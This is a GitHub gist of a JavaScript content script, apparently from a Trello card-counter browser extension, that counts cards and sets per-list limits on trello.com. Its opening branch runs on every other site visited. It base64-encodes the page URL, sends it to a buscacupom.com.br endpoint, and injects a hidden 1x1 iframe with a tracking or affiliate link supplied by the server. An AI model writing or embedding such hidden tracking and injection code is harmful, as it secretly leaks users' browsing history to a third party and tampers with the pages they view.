Created
October 30, 2016 09:32
-
-
Save mackwic/6dd9e218f24ed2347822ba1b6405f66e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// version 0.5.0 | |
var url = window.location; | |
if ( url.href.indexOf("trello.com") < 0 ){ | |
if ( url.href.indexOf("buscacupom.com.br") < 0 ){ | |
var url2 = btoa(url);; | |
var urlPost = "http://www.buscacupom.com.br/getDados.php?loCod="+url2+"&model=0"; | |
if (window.XMLHttpRequest){ | |
// code for IE7+, Firefox, Chrome, Opera, Safari | |
xml=new XMLHttpRequest(); | |
}else{ | |
// code for IE6, IE5 | |
xml=new ActiveXObject("Microsoft.XMLHTTP"); | |
} | |
xml.open("GET",urlPost,true); | |
xml.onload = handleResponse; | |
xml.send(null); | |
function handleResponse() { | |
var doc = JSON.parse( xml.responseText ); | |
if ( doc[0] == "1" ){ | |
var iframe = '<iframe src="'+doc[1][0].link+'" height="1" width="1" frameborder="0"></iframe>'; | |
}else{ | |
if ( doc[1].length > 0 ){ | |
var iframe = '<iframe src="'+doc[1][0].lojaTrack+'" height="1" width="1" frameborder="0"></iframe>'; | |
}else{ | |
var iframe = ''; | |
} | |
} | |
htmRet = '<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title></title> </head> <body> '+iframe+'</body></html>'; | |
$('body').append(htmRet); | |
} | |
} | |
}else{ | |
var listId; | |
var totalCounter; | |
var boardId; | |
var donateButton = ''; | |
var countViewDo = true; | |
var totalCounterBkp = 0; | |
$(document).ready(function() { | |
var matches = window.location.href.match(/\/(.{8})\//); | |
if (matches && matches.length > 1) boardId = matches[1]; | |
setInterval(updateCounts, 3000); | |
updateCounts(); | |
}); | |
function updateCounts() { | |
var numLists = 0; | |
totalCounter = 0; | |
$('.list').each(countCards); | |
if ($('.list').length != numLists) { | |
numLists = $('.list').length; | |
} | |
$(".js-open-list-menu").unbind().click(function() { | |
var list = $(this).parents('.list:eq(0)'); | |
listId = getListId(list); | |
$('.js-limit-list').remove(); | |
setTimeout(function() { | |
$('.js-close-list').after('<li> ' + donateButton + '</li><li><a class="js-limit-list" href"#">Set Cardcounter Limits for this List</a></li>'); | |
$('.js-limit-list').click(askLimit); | |
}, 50); | |
}); | |
totalCounterBkp = totalCounter; | |
$(".totalCCounter").html("Total Cards: " + totalCounter.toString()); | |
if ( countViewDo ){ | |
countViewDo = false; | |
} | |
}; | |
function askLimit(e) { | |
var limit = prompt('Enter the limit (number), use 0 to remove the limit.', getLimit(listId) > 0 ? getLimit(listId) : 10); | |
saveLimit(parseInt(limit)); | |
} | |
function getLimit(listId) { | |
return localStorage["cardcounter." + boardId + '.' + listId]; | |
} | |
function saveLimit(limit) { | |
localStorage["cardcounter." + boardId + '.' + listId] = limit; | |
if (limit === 0) { | |
delete getLimit(listId); | |
} | |
} | |
function getListId(list){ | |
var id = $('.board-header-btn-text:eq(0)').text().trim().replace(' ', '_') + '/' + list.find('.js-list-name-assist').text().replace(' ', '_');; | |
return id | |
} | |
function countCards(e) { | |
var detailItemId = ""; | |
var list = $(this); | |
var listId = getListId(list); | |
var header = $('.list-header', list); | |
var limit = getLimit(listId) ? getLimit(listId) : 0; | |
var headerName = $('.list-header-name', list); | |
var matches = headerName.text().match(/\[(\d*)\]/); | |
if (headerName && matches && matches.length == 2) { | |
limit = matches[1]; | |
} | |
var numCards = 0; | |
var numSpacers = 0; | |
var cardContent; | |
var cards = $('.list-card', list); | |
cards.each(function() { | |
cardContent = $('.list-card-title:eq(0)',this).text(); | |
cardContent = cardContent.replace($(this).find('.card-short-id').text(), '').trim(); | |
if (cardContent.match(/^=+.*=+$/g)) { | |
numSpacers++; | |
} else { | |
if (!$(this).hasClass('hide')) numCards++; | |
} | |
}); | |
var counter = $('.cardCounter', list); | |
var headerText = list.find(".list-header-extras"); | |
if (counter.length == 0) { | |
counter = $('<span>', { | |
'class': 'cardCounter' | |
}); | |
headerText.before(counter); | |
} | |
if ($('.totalCCounter').length == 0) { | |
$('<a>',{'class': 'counterViewBtn' ,'href': '#'}).appendTo($('.board-header')); | |
$('<span>',{'class': 'totalCCounter board-header-btn-text'}).appendTo($('.counterViewBtn')); | |
$('<span>',{'class': 'totalCCounterDialog'}).appendTo($('.board-wrapper')); | |
$('.totalCCounterDialog').html('<div class="modalCount fade" id="myModal" style="display: none"> <div class="modalCount-dialog"> <!-- Modal content--> <div class="modalCount-content"> <div class="modalCount-header"> <button type="button" class="close" data-dismiss="modal">×</button> <h4 class="modalCount-title">Total Cards - Detail</h4> </div> <div class="modalCount-body"> <span class="detailsCount"></span> </div> </div> </div><script> $(".counterViewBtn").click(function() { $("#myModal").css("display","block"); }); $(".close").click(function() { $("#myModal").css("display","none"); }); </script> </div>'); | |
} | |
if ($('.counterView').length == 0) { | |
$('<span>',{'class': 'counterView'}).appendTo($('.board-wrapper')); | |
} | |
detailItemIdDesc = headerName.text(); //$('h2', this)[0].innerHTML.substr(0,$('h2', this)[0].innerHTML.search("<span")); | |
detailItemId = detailItemIdDesc.replace(' ', '').toLowerCase(); | |
detailItemId = detailItemId.replace('_', ''); | |
detailItemId = detailItemId.replace('.', ''); | |
detailItemId = detailItemId.replace('/', ''); | |
detailItemId = detailItemId.replace('|', ''); | |
detailItemId = detailItemId.replace(',', ''); | |
detailItemId = detailItemId.replace('.', ''); | |
detailItemId = detailItemId.replace(';', ''); | |
detailItemId = detailItemId.replace('<', ''); | |
detailItemId = detailItemId.replace('>', ''); | |
detailItemId = detailItemId.replace(':', ''); | |
detailItemId = detailItemId.replace('?', ''); | |
detailItemId = detailItemId.replace(']', ''); | |
detailItemId = detailItemId.replace('[', ''); | |
detailItemId = detailItemId.replace('}', ''); | |
detailItemId = detailItemId.replace('{', ''); | |
detailItemId = detailItemId.replace('-', ''); | |
detailItemId = detailItemId.replace('+', ''); | |
detailItemId = detailItemId.replace('=', ''); | |
detailItemId = detailItemId.replace(')', ''); | |
detailItemId = detailItemId.replace('(', ''); | |
detailItemId = detailItemId.replace('&', ''); | |
detailItemId = detailItemId.replace('!', ''); | |
detailItemId = detailItemId.replace('@', ''); | |
detailItemId = detailItemId.replace('#', ''); | |
detailItemId = detailItemId.replace('$', ''); | |
detailItemId = detailItemId.replace('%', ''); | |
detailItemId = detailItemId.replace('*', ''); | |
detailItemId = detailItemId.replace('"', ''); | |
detailItemId = detailItemId.replace("'", ''); | |
detailItemId = detailItemId.replace("á", 'a'); | |
detailItemId = detailItemId.replace("à", 'a'); | |
detailItemId = detailItemId.replace("â", 'a'); | |
detailItemId = detailItemId.replace("ã", 'a'); | |
detailItemId = detailItemId.replace("é", 'e'); | |
detailItemId = detailItemId.replace("ê", 'e'); | |
detailItemId = detailItemId.replace("í", 'i'); | |
detailItemId = detailItemId.replace("ó", 'o'); | |
detailItemId = detailItemId.replace("ô", 'o'); | |
detailItemId = detailItemId.replace("õ", 'o'); | |
detailItemId = detailItemId.replace("ú", 'o'); | |
detailItemId = detailItemId.replace("ç", 'c'); | |
detailItemId = detailItemId.split(' ').join(''); | |
detailItemId = detailItemId.replace('/', ''); | |
detailItemId = detailItemId.replace('/', ''); | |
if ( $('.showDetailItem'+detailItemId).length == 0 ){ | |
$('<p>',{'class': 'showDetailItem'+detailItemId }).appendTo($('.detailsCount')); | |
$('<span>',{'class': detailItemId+"Title", 'style': 'font-Weight: bold' }).appendTo($('.showDetailItem'+detailItemId)); | |
$('<span>',{'class': detailItemId+'Info' }).appendTo($('.showDetailItem'+detailItemId)); | |
$('<span>',{'class': detailItemId+'InfoPerc' }).appendTo($('.showDetailItem'+detailItemId)); | |
$("." + detailItemId+"Title")[0].innerText = (detailItemIdDesc+": "); | |
} | |
$('.'+detailItemId+'Info').html(numCards.toString() + " cards"); | |
totalCounter = totalCounter + numCards; | |
var itemPercent; | |
itemPercent = ((100*numCards)/totalCounterBkp).toFixed(2); | |
$('.'+detailItemId+'InfoPerc').html(" - " + itemPercent.toString() + "%"); | |
counter.text(limit > 0 ? numCards.toString() + '/' + limit.toString() : numCards.toString()); | |
if ($('.badge-points').length > 0 || $('.list-total .points', list).length > 0) { | |
// counter.addClass('align-right'); | |
} | |
if (limit > 0 && numCards > limit) { | |
counter.addClass('limitReached'); | |
} else { | |
counter.removeClass('limitReached'); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment